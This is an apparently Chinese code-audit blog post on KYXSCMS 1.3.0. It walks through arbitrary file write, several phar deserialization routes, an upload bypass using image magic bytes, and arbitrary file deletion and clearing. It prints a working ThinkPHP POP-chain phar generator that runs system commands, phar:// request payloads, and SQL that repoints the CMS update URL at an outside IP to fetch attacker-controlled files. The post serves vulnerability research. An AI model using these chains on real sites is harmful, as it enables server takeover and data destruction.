跟着Y4师傅学代码审计-KYXSCMS_1.3.0
最后更新时间:
写在前面
CNVD冲冲冲,这里跟着Y4师傅分析复现第二篇KYXSCMS,加油慢慢来
环境搭建
伪静态配置
1
2
3
4
5
6
7
8<IfModule mod_rewrite.c>
Options +FollowSymlinks -Multiviews
RewriteEngine On
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_FILENAME} !-f
RewriteRule ^(.*)$ index.php?/$1 [QSA,PT,L]
</IfModule>伪静态是相对于真静态而言的,就是把一些asp,php等结尾url通过apche或nginx的重写规则,变成以html一类的静态页面形式。伪静态不是真正的静态,它和动态地址一样要读取数据库。伪静态最主要的作用就是利于seo,百度spider(百度蜘蛛)喜欢抓取静态页面,可容易使百度spider陷入死循环;并发量高的时候会加大服务器的压力,所以用的时候要注意
坑点注意
注意网站安装如果不在根目录的话需要额外配置子目录(我这里是没配出来,放弃了还是直接放在根目录吧)
接着针对不同的功能支持,需要对应打开php扩展
这里还有一个坑就是mysql驱动注意打开pdo配置选项
还有一个坑就是设置session.save_path避免出现写到权限不够的地方(win)…
漏洞分析
任意文件写1
漏洞点位于模板的模块管理处
任意点一个进行编辑,提交后回显,模板文件修改成功
我们以此定位处理函数位置,全局关键词搜索;或者看模板当中文件引入的路径。
定位至app\admin\controller\Template.php
,获取用户输入的POST传参,并传入edit方法,跟入
这里提取出data中的path值和content值,怀疑存在文件写入,跟进put
sink点位于file_put_contents(),中间没有任何过滤
测试正常情况下的传参
1 |
|
首先可以修改任意文件内容
1 |
|
当然这样整个网站就没了
还有一个思路是刚才在源码中我们看到还有{include }
文件包含操作,我们可以和这个文件写漏洞配合起来。
我们知道根目录存在一个robots.txt文件,写入恶意代码
1 |
|
然后修改包含文件
phar反序列化
bfengj师傅提到这里还可以利用phar反序列化,不过要搞清楚上传文件路径名。还是刚才的函数,查看
dirname()
返回 path 的父目录。如果在
path
中没有斜线,则返回一个点(’.
‘),表示当前目录。否则返回的是把path
中结尾的/component
(最后一个斜线以及后面部分)去掉之后的字符串触发点应该是在
mkdir()
处,由于dirname会去掉最后一个斜线及后面的部分,所以我们可以多加一层路径来绕过首先写一个恶意的phar文件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16<?php
class test
{
function __destruct()
{
system('whoami');
}
}
$a = new test();
$tttang = new Phar('evil.phar', 0);
$tttang->startBuffering();
$tttang->setMetadata($a);
$tttang->setStub("<?php __HALT_COMPILER(); ?>");
$tttang->addFromString("test.txt", "hacked by RacerZ!");
$tttang->stopBuffering();然后上传恶意文件,记得在最开头添加图片文件头绕过格式检测,回显路径
/uploads\/config\/20221202\/6de0863ab8b9e1ab612f660d98ba4457.png
然后利用包含漏洞,使用phar伪协议
1
path=phar://./uploads/config/20221202/6de0863ab8b9e1ab612f660d98ba4457.png/123&content=1
确实识别到了phar,不过不知这个错误是怎么回事
哦哦哦我傻了,咋可能用自己的类来实现反序列化,这里需要依靠thinkphp存在反序列化POP链
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63<?php
namespace think\process\pipes {
class Windows
{
private $files;
public function __construct($files)
{
$this->files = [$files];
}
}
}
namespace think\model\concern {
trait Conversion
{
}
trait Attribute
{
private $data;
private $withAttr = ["lin" => "system"];
public function get()
{
$this->data = ["lin" => "whoami"];
}
}
}
namespace think {
abstract class Model
{
use model\concern\Attribute;
use model\concern\Conversion;
}
}
namespace think\model{
use think\Model;
class Pivot extends Model
{
public function __construct()
{
$this->get();
}
}
}
namespace {
$conver = new think\model\Pivot();
$a = new think\process\pipes\Windows($conver);
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
}后面就成了
phar 反序列化2
其实就是再找找还有什么文件读写点
还是刚才的Template.php文件,看看get传参的逻辑,这里会获取一个参数path,传入file_info方法
进一步跟进
File::read($path)
继续跟进get,看到这里也存在一个读函数操作,并且一路上没有过滤很简单的get传参
1
?path=phar://./uploads/config/20221203/3b9697cca522c894290550257f35ed3d.png
phar反序列化3
位于
install()
1
2
3
4
5
6
7
8
9
10
11
12
13public function install($model=null){
$Upgrade=model('upgrade');
if($model=='insert'){
$return=$Upgrade->insert_install($this->request->param('id'));
}else{
$return=$Upgrade->install();
}
if($return==true){
return $this->success('安装完成!','');
}else{
$this->error($Upgrade->getError(),'');
}
}如果model变量值为insert的话就会调用insert_install方法。其中里面upcotent和之前一样
因此得到的upArray变量可控,调用install_file方法,可以看到和上面一样,只需构造suffix,stored_file_name即可
1
{"0":{"suffix":"del", "stored_file_name":"phar://xxx"}}
phar 反序列化4
接着刚才的继续,其实这里利用的就是远程文件包含了(可能会存在限制),通过stored_file_name字段包含文件,针对文件中的内容,如果满足suffix条件的话就可以直接调用到unlink函数,这又是移除phar反序列化可利用的地方
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19$upCode=file_get_contents($value['stored_file_name']);
$upCode = str_replace("\r", "\n", $upCode);
$filePath=explode("\n",$upCode);
foreach ($filePath as $v){
$v = trim($v);
if(empty($v)) continue;
if($value['suffix']==='del'){
@unlink($v);
}elseif ($value['suffix']==='sql') {
$prefix=Config::get('database.prefix');
$upSqlCode = str_replace("`ky_", "`{$prefix}", $v);
try{
Db::execute($upSqlCode);
}catch(\Exception $e){
$this->error='执行sql错误代码:'.$e->getMessage();
return false;
}
}
}1
2{"0":{"suffix":"del", "stored_file_name":"http://vps/exploit.txt"}}
exploit.txt: phar://xxxphar 反序列化5
漏洞点位于
Upload.php
的sublevel_upload()
方法1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23public function sublevel_upload(){
if($this->request->isPost()){
if($this->request->post('status') == 'chunkCheck'){
return $this->chunkCheck();
}elseif($this->request->post('status') == 'chunksMerge'){
if($this->request->post('name')){
if($file = $this->chunksMerge($this->request->post('name'),$this->request->post('chunks'),$this->request->post('ext'),$this->request->post('md5'))){
$file['code']=1;
return json($file);
}
}
return json(['code'=>0]);
}else{
$file = $this->request->file('file');
$info = $file->validate(['ext'=>'txt,html,zip,josn,mp3,wma,wav,amr,mp4','type'=>'text/plain,text/html,application/zip,application/json,audio/mpeg,audio/x-ms-wma,audio/x-wav,audio/amr,video/mp4'])->move(config('web.upload_path').$this->request->param('path').'/'.$this->request->post('uniqueFileName'),$this->request->post('chunk',0),true,false);
if($info){
return json(['code'=>1,'msg'=>'上传成功!','path'=>substr(config('web.upload_path'),1).$this->request->param('path').'/'.$this->request->post('uniqueFileName').'/'.str_replace('\\','/',$info->getSaveName())]);
} else {
return json(['code'=>0,'msg'=>$file->getError()]);
}
}
}
}跟进chunkCheck方法,其中upload_path也是通过数据库中可以读取到,后面的拼接参数均可控,所以target我们是可控的。因此可以利用file_exists()进行phar反序列化
测试
首先修改数据库中的配置项
upload_path
1
update {pre}config set value='phar://' where id=88
然后拼接参数即可
1
2# phar://./uploads/config/20221203/3b9697cca522c894290550257f35ed3d.png
status=chunkCheck&path=./uploads/config&name=20221203&chunkIndex=3b9697cca522c894290550257f35ed3d.png这里记得清楚一下缓存
getshell
phar 反序列化6
还是接着上一个地方,这次根据status值进入chunkMerge方法
1
2
3
4
5
6elseif($this->request->post('status') == 'chunksMerge'){
if($this->request->post('name')){
if($file = $this->chunksMerge($this->request->post('name'),$this->request->post('chunks'),$this->request->post('ext'),$this->request->post('md5'))){
$file['code']=1;
return json($file);
}可以看到传递的参数
$this->request->post('name'),$this->request->post('chunks'),$this->request->post('ext'),$this->request->post('md5')
同样均可控scandir也可以进行phar反序列化,参数可控(注意设置一下chunks参数,不然&&的惰性会直接不会执行后面的判断语句)
1
2phar://./uploads/config/20221203/3b9697cca522c894290550257f35ed3d.png
status=chunksMerge&path=./uploads/config&name=20221203/3b9697cca522c894290550257f35ed3d.png&chunks=1
文件上传
在管理首页发现文件上传功能,定位控制器
定位至app\admin\controller\Upload.php
查看pic()方法
1 |
|
接收file的上传文件参数,然后经过validate设置后端验证,前面为后缀,后面为MIME类型
然后经过move方法
1 |
|
首先,isValid方法一般正常上传文件就可以通过
然后看check
1 |
|
这个会依次检验文件大小、MIME类型、后缀,然后会检验文件格式
1 |
|
细节看下getMime()
1 |
|
fino_open配合finfo_file将会回文件类型
看一下checkImg方法,还是先检验后缀名,然后调用getImageType
进一步获取图片格式
1 |
|
1 |
|
这里可以看到实际会调用exif_imagetype()
函数,该函数只会检验文件的第一个字节
所以我们可以利用最基本的魔术头或者图片马绕过
1 |
|
配合实际测试,即可以看到上传文件的位置及名称
结合上面的文件包含操作我们就可以利用达到RCE的效果
任意文件写2
位于application/admin/controller/Upgrade.php
的update()
方法
这里会调用模型层的updates方法,并返回输出json格式数据
先跟入updates(),有个file_put_contents写函数,看看能否利用。先看看参数upArray获取的方法upContent()
1 |
|
这里可以看到会先从缓存中获取update_list字符值,默认情况下肯定是没有的,那么就会从拼接url并发起请求,返回的内容经过json解包即为content值
这里配置项web.official_url
项来自数据库,因此可控。发起请求,我们设置为自己的VPS,返回内容可控,因此content可控(注意返回JSON格式的数据)
回到updates函数,@file_put_contents($upArray[$num]['stored_file_name'],$upCode)
是我们要利用的语句,其中$upArray[$num]['stored_file_name']
可以构造,也就是文件名可以控制,然后看看upCode是否可控。后者来自$upCode=Http::doGet(Config::get('web.official_url').'/'.$upArray[$num]['file_name']);
,和之前同理,改到我们的VPS上去就行。
测试
首先在数据库中改掉
web.official_url
配置1
2admin/tool/sqlexecute.html
sql=update {pre}config set value = "http://43.140.198.45:81" where id = 92第一个url经过拼接就成了
http://43.140.198.45:81/upgrade/updata/
;第二个为http://43.140.198.45:81/xxx
之后在VPS上构造一下回显
之后访问
1
http://localhost/admin/upgrade/update
很奇怪,我这里虽然数据库改了,获取到的url还是之前的不知道咋回事。。
解决了,应该是有缓存的缘故,导致读配置直接从缓存读的
任意文件刪除
还是刚才的Template.php,其中del方法如下
1 |
|
模型会自动对应数据表,模型类的命名规则是除去表前缀的数据表名称,采用驼峰法命名,并且首字母大写
这里首先会从数据库中根据id值,获取ky_template
表中name字段的值
然后拼接传入del_dir_file方法,其代码如下。分析可知,这个path传值需要是一个目录,然后回去遍历该目录下的文件,如果仍存在目录就会递归调用,否则删除文件,当设置为true时,会把当前目录也删掉。由于path可控,所以我们只需要控制好id参数值,即可以删除任意文件夹
1 |
|
该cms提供了与数据库交互的功能,因此我们可以先插入一条关于文件夹内容的条目
1 |
|
在根目录创建文件夹xx
任意文件清空
位于`application/admin/controller/Tool.php
的sitemap_progress
方法`
1 |
|
经过分析可知data的内容只能来自数据库novel表,它经过$data=$novel->select()
,过滤的条件为'status'=>1
,因此一种思路是清空文件,也就是不让数据库中留有status=1
的数据,这样就会出现content一直都不会被赋值,保持初始值''
。同时对于文件名filename,其组成为Env::get('runtime_path').'repaste'.DIRECTORY_SEPARATOR.$filename.'.'.$type
,虽然前面不可控,但是type可控可以利用目录穿越。这时候只需要一个文件写函数即可,关注File::put()
测试时根目录创建一个test.php
然后利用上述漏洞
1 |
|
参考链接
https://y4tacker.blog.csdn.net/article/details/115716192
https://forum.butian.net/share/1238